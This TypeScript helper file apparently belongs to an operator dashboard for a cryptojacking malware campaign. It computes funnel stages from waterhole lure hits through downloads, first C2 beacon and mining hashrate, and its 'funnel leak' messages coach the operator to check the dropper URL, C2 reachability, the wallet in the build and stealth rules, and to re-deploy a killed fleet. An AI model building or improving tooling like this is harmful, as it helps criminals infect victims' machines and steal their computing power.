/** War Room funnel helpers for Emberwake campaign dashboard. */

export interface WarRoomCampaign {
  campaign: string;
  hits: number;
  downloads: number;
  first_beacon?: number;
  mining?: number;
  agents: number;
  online: number;
  hashrate: number;
  conversion_pct: number;
  daily_hits: number[];
  last_activity?: string;
  pins?: string[];
}

export interface WarRoomResponse {
  generated_at: string;
  days: number;
  campaigns: WarRoomCampaign[];
}

export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';

export interface FunnelStage {
  id: FunnelStageId;
  label: string;
  value: number;
  display: string;
  /** Conversion from previous stage (0 for first stage). */
  rateFromPrev: number | null;
}

export type FunnelLeakSeverity = 'warn' | 'critical';

export interface FunnelLeak {
  stage: string;
  severity: FunnelLeakSeverity;
  message: string;
  action: string;
}

/** Agents ÷ hits × 100, rounded to one decimal. */
export function conversionPct(agents: number, hits: number): number {
  if (hits <= 0) return 0;
  return Math.round((agents / hits) * 1000) / 10;
}

/** Stage-to-stage conversion %, rounded to one decimal. */
export function stageConversionPct(to: number, from: number): number {
  if (from <= 0) return 0;
  return Math.round((to / from) * 1000) / 10;
}

/** Resolved first-beacon count (falls back to agents for older payloads). */
export function firstBeaconCount(c: WarRoomCampaign): number {
  if (c.first_beacon != null) return c.first_beacon;
  return c.agents ?? 0;
}

/** Resolved mining count (agents with hashrate > 0). */
export function miningCount(c: WarRoomCampaign): number {
  if (c.mining != null) return c.mining;
  return c.hashrate > 0 ? 1 : 0;
}

/** Left-to-right funnel stages for a campaign card. */
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
  const beacon = firstBeaconCount(c);
  const mining = miningCount(c);
  const hits = c.hits ?? 0;
  const downloads = c.downloads ?? 0;

  return [
    { id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
    {
      id: 'downloads',
      label: 'Downloads',
      value: downloads,
      display: String(downloads),
      rateFromPrev: stageConversionPct(downloads, hits),
    },
    {
      id: 'first_beacon',
      label: 'First beacon',
      value: beacon,
      display: String(beacon),
      rateFromPrev: stageConversionPct(beacon, downloads),
    },
    {
      id: 'mining',
      label: 'Mining',
      value: mining,
      display: String(mining),
      rateFromPrev: stageConversionPct(mining, beacon),
    },
    {
      id: 'hashrate',
      label: 'Hashrate',
      value: c.hashrate ?? 0,
      display: formatHashrate(c.hashrate),
      rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
    },
  ];
}

/** Max pipe fill width (0–100) relative to funnel entry hits. */
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
  if (isHashrate) {
    return stageValue > 0 ? 100 : 8;
  }
  if (hits <= 0) return stageValue > 0 ? 100 : 8;
  return Math.max(8, Math.round((stageValue / hits) * 100));
}

/**
 * Detect funnel leaks — actionable callouts when a stage drops sharply.
 * Returns highest-severity leaks first.
 */
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
  const hits = c.hits ?? 0;
  const downloads = c.downloads ?? 0;
  const beacon = firstBeaconCount(c);
  const mining = miningCount(c);
  const leaks: FunnelLeak[] = [];

  if (hits >= 50 && beacon === 0) {
    leaks.push({
      stage: 'hits→beacon',
      severity: 'critical',
      message: `${hits} hits but zero agents — funnel dead before beacon.`,
      action: 'Verify dropper URL, install script, and C2 reachability from target network.',
    });
  } else if (hits >= 20 && downloads === 0) {
    leaks.push({
      stage: 'hits→downloads',
      severity: 'warn',
      message: `${hits} page hits with no downloads.`,
      action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
    });
  }

  if (downloads >= 5 && beacon === 0) {
    leaks.push({
      stage: 'downloads→beacon',
      severity: 'critical',
      message: `${downloads} downloads but no first beacon.`,
      action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
    });
  }

  if (beacon >= 3 && mining === 0) {
    leaks.push({
      stage: 'beacon→mining',
      severity: 'warn',
      message: `${beacon} agents connected but none mining.`,
      action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
    });
  }

  if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
    leaks.push({
      stage: 'mining→hashrate',
      severity: 'warn',
      message: 'Agents mined before but fleet is offline with zero hashrate.',
      action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
    });
  }

  const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
  leaks.sort((a, b) => order[a.severity] - order[b.severity]);
  return leaks;
}

/** Compact hashrate for table cells (H/s). */
export function formatHashrate(hs: number): string {
  if (!hs || hs <= 0) return '—';
  if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
  if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
  return `${Math.round(hs)} H/s`;
}

/** Max value in a daily hits series (for sparkline scaling). */
export function sparklineMax(values: number[]): number {
  if (!values.length) return 1;
  return Math.max(1, ...values);
}

/** Inline height % for CSS bar sparkline (0–100). */
export function sparklineBarHeight(value: number, max: number): number {
  if (max <= 0 || value <= 0) return 4;
  return Math.max(8, Math.round((value / max) * 100));
}

/** Compact delta label for odometer tick-ups (null when unchanged). */
export function formatOdometerDelta(prev: number, next: number): string | null {
  const delta = next - prev;
  if (delta === 0 || !Number.isFinite(delta)) return null;
  const sign = delta > 0 ? '+' : '−';
  const abs = Math.abs(delta);
  if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
  if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
  if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
  return `${sign}${abs.toFixed(1)}`;
}

/** Stagger delay (ms) for funnel card stage animations. */
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
  return cardIndex * 110 + itemIndex * baseMs;
}

/** Eased tick duration scales with magnitude of change. */
export function odometerDurationMs(delta: number): number {
  const abs = Math.abs(delta);
  if (abs <= 3) return 380;
  if (abs <= 25) return 560;
  if (abs <= 200) return 720;
  return 920;
}

/** Cubic ease-out for odometer interpolation (0 → 1). */
export function odometerEase(t: number): number {
  const clamped = Math.min(1, Math.max(0, t));
  return 1 - (1 - clamped) ** 3;
}

/** Interpolate between two numeric endpoints with odometer easing. */
export function odometerLerp(from: number, to: number, progress: number): number {
  return from + (to - from) * odometerEase(progress);
}